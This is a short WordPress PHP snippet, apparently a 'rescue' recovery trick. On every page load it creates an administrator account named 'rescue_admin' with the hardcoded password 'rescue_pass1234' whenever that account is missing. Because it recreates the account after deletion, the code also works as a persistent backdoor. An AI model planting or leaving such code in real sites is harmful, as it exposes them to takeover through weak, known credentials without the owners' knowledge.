function rescue_admin_account(){ $user = 'rescue_admin'; $pass = 'rescue_pass1234'; $email = 'email@example.com'; if ( !username_exists( $user ) ) { $user_id = wp_create_user( $user, $pass, $email ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } add_action('init','rescue_admin_account');